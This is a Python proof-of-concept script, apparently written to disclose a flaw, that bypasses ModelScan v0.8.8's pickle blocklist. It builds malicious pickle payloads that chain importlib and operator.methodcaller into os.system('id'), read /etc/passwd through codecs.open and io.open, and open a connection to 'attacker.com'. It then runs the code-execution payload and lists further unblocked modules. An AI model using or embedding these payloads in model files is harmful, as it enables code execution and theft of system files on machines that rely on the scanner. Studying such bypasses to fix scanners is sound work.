#!/usr/bin/env python3
"""
ModelScan Pickle Scanner Bypass PoC

Demonstrates that ModelScan v0.8.8's PickleUnsafeOpScan can be bypassed
to achieve arbitrary code execution while the scanner reports 0 issues.

Root cause: The pickle scanner's unsafe_globals blocklist is incomplete.
Key gaps:
  1. 'importlib' module not blocked -> can import any module dynamically
  2. 'operator.methodcaller' not blocked (only 'operator.attrgetter' is)
     -> can call any method on any object
  3. 'codecs', 'io', 'http.client' also not blocked

Bypass chain (Full RCE):
  importlib.import_module('os') + operator.methodcaller('system', 'id')

This affects ALL pickle-based scanners in ModelScan:
  - PickleUnsafeOpScan (.pkl, .pickle, .joblib, .dill, .dat, .data)
  - NumpyUnsafeOpScan (.npy with object dtype)
  - PyTorchUnsafeOpScan (.bin, .pt, .pth, .ckpt - non-zip format)
All share the same _list_globals() + unsafe_globals detection logic.
"""

import io
import os
import pickle
import pickletools
import sys


def create_rce_pickle():
    """Create a pickle achieving RCE via importlib + operator.methodcaller.

    Pickle execution flow:
    1. importlib.import_module('os') -> <module 'os'>
    2. operator.methodcaller('system', 'id') -> callable mc
    3. mc(<module 'os'>) -> os.system('id') -> RCE!

    Neither 'importlib' nor 'operator.methodcaller' is in ModelScan's blocklist.
    ('operator' only blocks 'attrgetter', not 'methodcaller')
    """
    payload = b''
    payload += b'\x80\x02'  # PROTO 2

    # Phase 1: os_module = importlib.import_module('os')
    payload += b'cimportlib\nimport_module\n'  # GLOBAL importlib.import_module
    payload += b'\x8c\x02os'  # SHORT_BINUNICODE 'os'
    payload += b'\x85'        # TUPLE1
    payload += b'R'           # REDUCE -> <module 'os'>
    payload += b'q\x00'       # BINPUT 0 (memo[0] = os_module)

    # Phase 2: mc = operator.methodcaller('system', 'id')
    payload += b'0'           # POP (clear os_module from stack)
    payload += b'coperator\nmethodcaller\n'  # GLOBAL operator.methodcaller
    payload += b'\x8c\x06system'  # SHORT_BINUNICODE 'system'
    payload += b'\x8c\x02id'      # SHORT_BINUNICODE 'id'
    payload += b'\x86'        # TUPLE2 -> ('system', 'id')
    payload += b'R'           # REDUCE -> methodcaller('system', 'id')

    # Phase 3: mc(os_module) -> os.system('id') -> RCE!
    payload += b'h\x00'       # BINGET 0 (push os_module from memo)
    payload += b'\x85'        # TUPLE1 -> (os_module,)
    payload += b'R'           # REDUCE -> os.system('id') = RCE!

    payload += b'.'           # STOP
    return payload


def create_file_access_pickle():
    """Bypass using codecs.open (not in blocklist; builtins.open IS blocked)."""
    payload = b'\x80\x02'
    payload += b'ccodecs\nopen\n'       # GLOBAL codecs.open
    payload += b'\x8c\x0b/etc/passwd'   # SHORT_BINUNICODE '/etc/passwd'
    payload += b'\x8c\x01r'             # SHORT_BINUNICODE 'r'
    payload += b'\x86'                  # TUPLE2
    payload += b'R'                     # REDUCE
    payload += b'.'                     # STOP
    return payload


def create_io_access_pickle():
    """Bypass using io.open (not in blocklist; builtins.open IS blocked)."""
    payload = b'\x80\x02'
    payload += b'cio\nopen\n'           # GLOBAL io.open
    payload += b'\x8c\x0b/etc/passwd'   # SHORT_BINUNICODE '/etc/passwd'
    payload += b'\x8c\x01r'             # SHORT_BINUNICODE 'r'
    payload += b'\x86'                  # TUPLE2
    payload += b'R'                     # REDUCE
    payload += b'.'                     # STOP
    return payload


def create_network_pickle():
    """Bypass using http.client (not blocked; old 'httplib' name IS blocked)."""
    payload = b'\x80\x02'
    payload += b'chttp.client\nHTTPSConnection\n'  # GLOBAL (NOT BLOCKED)
    host = b'attacker.com'
    payload += b'\x8c' + bytes([len(host)]) + host  # SHORT_BINUNICODE
    payload += b'\x85'                  # TUPLE1
    payload += b'R'                     # REDUCE
    payload += b'.'                     # STOP
    return payload


def simulate_modelscan_check(payload_bytes):
    """Simulate ModelScan's _list_globals + unsafe_globals check.

    Reproduces the exact logic from:
    - modelscan/tools/picklescanner.py: _list_globals()
    - modelscan/tools/picklescanner.py: _build_scan_result_from_raw_globals()
    - modelscan/settings.py: DEFAULT_SETTINGS['unsafe_globals']
    """
    # ModelScan's unsafe_globals blocklist (from settings.py)
    unsafe_globals = {
        "CRITICAL": {
            "__builtin__": ["eval", "compile", "getattr", "apply", "exec", "open", "breakpoint", "__import__"],
            "builtins": ["eval", "compile", "getattr", "apply", "exec", "open", "breakpoint", "__import__"],
            "runpy": "*", "os": "*", "nt": "*", "posix": "*", "socket": "*",
            "subprocess": "*", "sys": "*", "operator": ["attrgetter"],
            "pty": "*", "pickle": "*", "_pickle": "*",
            "bdb": "*", "pdb": "*", "shutil": "*", "asyncio": "*",
        },
        "HIGH": {
            "webbrowser": "*", "httplib": "*",
            "requests.api": "*", "aiohttp.client": "*",
        },
        "MEDIUM": {},
        "LOW": {},
    }

    # Extract globals using pickletools (same as ModelScan's _list_globals)
    stream = io.BytesIO(payload_bytes)
    globals_found = set()
    try:
        ops = list(pickletools.genops(stream))
    except Exception as e:
        return set(), [], str(e)

    for n, (op, value, pos) in enumerate(ops):
        if op.name in ('GLOBAL', 'INST'):
            parts = value.split(' ', 1)
            if len(parts) == 2:
                globals_found.add(tuple(parts))
        elif op.name == 'STACK_GLOBAL':
            values = []
            for offset in range(1, n):
                prev_op = ops[n - offset]
                if prev_op[0].name in ['MEMOIZE', 'PUT', 'BINPUT', 'LONG_BINPUT']:
                    continue
                if prev_op[0].name in ['SHORT_BINUNICODE', 'UNICODE', 'BINUNICODE', 'BINUNICODE8']:
                    values.append(prev_op[1])
                else:
                    values.append('unknown')
                if len(values) == 2:
                    break
            if len(values) == 2:
                globals_found.add((values[1], values[0]))

    # Check against blocklist (exact ModelScan logic)
    issues = []
    for module, name in globals_found:
        severity = None
        for sev_name in unsafe_globals:
            if module not in unsafe_globals[sev_name]:
                continue
            filt = unsafe_globals[sev_name][module]
            if filt == "*":
                severity = sev_name
                break
            for filter_value in filt:
                if filter_value in name:
                    severity = sev_name
                    break
            else:
                continue
            break
        if "unknown" in module or "unknown" in name:
            severity = "CRITICAL"
        if severity is not None:
            issues.append((module, name, severity))

    return globals_found, issues, None


def main():
    os.makedirs('/tmp/modelscan-pickle-bypass', exist_ok=True)

    print("=" * 70)
    print("ModelScan v0.8.8 Pickle Scanner Bypass PoC")
    print("=" * 70)
    print("\nRoot cause: unsafe_globals blocklist is incomplete.")
    print("Key gaps: importlib (not listed), operator.methodcaller (only")
    print("attrgetter is blocked), codecs, io, http.client, marshal, types")

    # === Test 1: Full RCE ===
    print("\n\n[1] FULL RCE: importlib.import_module + operator.methodcaller")
    print("-" * 70)
    rce_payload = create_rce_pickle()
    rce_path = '/tmp/modelscan-pickle-bypass/rce_bypass.pkl'
    with open(rce_path, 'wb') as f:
        f.write(rce_payload)
    print(f"Payload size: {len(rce_payload)} bytes")
    print(f"Saved to: {rce_path}")

    # Disassemble
    print("\nPickle disassembly:")
    pickletools.dis(io.BytesIO(rce_payload), annotate=1)

    # Simulate ModelScan check
    globals_found, issues, err = simulate_modelscan_check(rce_payload)
    print(f"\nGlobals extracted by scanner: {globals_found}")
    print(f"Issues detected by ModelScan: {len(issues)}")
    if issues:
        for m, n, s in issues:
            print(f"  [{s}] {m}.{n}")
    else:
        print(">>> BYPASS SUCCESSFUL: ModelScan reports 0 issues! <<<")

    # Verify RCE
    print("\nExecution verification (runs 'id' command):")
    try:
        result = pickle.loads(rce_payload)
        print(f"os.system() returned: {result}")
        print(">>> ARBITRARY CODE EXECUTION CONFIRMED <<<")
    except Exception as e:
        print(f"Error: {e}")

    # === Test 2: File access ===
    print("\n\n[2] FILE ACCESS: codecs.open (not in blocklist)")
    print("-" * 70)
    file_payload = create_file_access_pickle()
    file_path = '/tmp/modelscan-pickle-bypass/file_access_bypass.pkl'
    with open(file_path, 'wb') as f:
        f.write(file_payload)
    print(f"Payload size: {len(file_payload)} bytes")

    globals_found, issues, _ = simulate_modelscan_check(file_payload)
    print(f"Globals extracted: {globals_found}")
    print(f"Issues detected: {len(issues)}")
    if not issues:
        print(">>> BYPASS: codecs.open not in blocklist (builtins.open IS) <<<")

    # === Test 3: IO access ===
    print("\n\n[3] FILE I/O: io.open (not in blocklist)")
    print("-" * 70)
    io_payload = create_io_access_pickle()
    io_path = '/tmp/modelscan-pickle-bypass/io_access_bypass.pkl'
    with open(io_path, 'wb') as f:
        f.write(io_payload)
    print(f"Payload size: {len(io_payload)} bytes")

    globals_found, issues, _ = simulate_modelscan_check(io_payload)
    print(f"Globals extracted: {globals_found}")
    print(f"Issues detected: {len(issues)}")
    if not issues:
        print(">>> BYPASS: io.open not in blocklist (builtins.open IS) <<<")

    # === Test 4: Network ===
    print("\n\n[4] NETWORK: http.client.HTTPSConnection (httplib blocked, http.client NOT)")
    print("-" * 70)
    net_payload = create_network_pickle()
    net_path = '/tmp/modelscan-pickle-bypass/network_bypass.pkl'
    with open(net_path, 'wb') as f:
        f.write(net_payload)
    print(f"Payload size: {len(net_payload)} bytes")

    globals_found, issues, _ = simulate_modelscan_check(net_payload)
    print(f"Globals extracted: {globals_found}")
    print(f"Issues detected: {len(issues)}")
    if not issues:
        print(">>> BYPASS: http.client not blocked (old httplib name IS) <<<")

    # === Summary ===
    print("\n\n" + "=" * 70)
    print("BLOCKLIST GAPS IN ModelScan v0.8.8")
    print("=" * 70)
    gaps = [
        ("importlib", "import_module", "Dynamic module import -> import os, subprocess, etc."),
        ("operator", "methodcaller", "Call any method on any object -> full RCE with importlib"),
        ("codecs", "open", "File I/O (builtins.open blocked, codecs.open not)"),
        ("io", "open", "File I/O (builtins.open blocked, io.open not)"),
        ("http.client", "HTTPSConnection", "Network (httplib blocked, http.client not)"),
        ("marshal", "loads", "Code deserialization -> bytecode execution"),
        ("types", "FunctionType", "Function creation from code objects"),
        ("ctypes", "CDLL", "Load shared libraries -> call C functions"),
        ("multiprocessing", "Process", "Spawn processes"),
    ]
    for module, name, desc in gaps:
        print(f"  {module}.{name}: {desc}")

    print(f"\nTotal PoC files: 4")
    print(f"Location: /tmp/modelscan-pickle-bypass/")
    print(f"\nAffected scanners (all share same detection code):")
    print(f"  - PickleUnsafeOpScan  (.pkl, .pickle, .joblib, .dill, .dat, .data)")
    print(f"  - NumpyUnsafeOpScan   (.npy with object dtype)")
    print(f"  - PyTorchUnsafeOpScan (.bin, .pt, .pth, .ckpt non-zip)")


if __name__ == '__main__':
    main()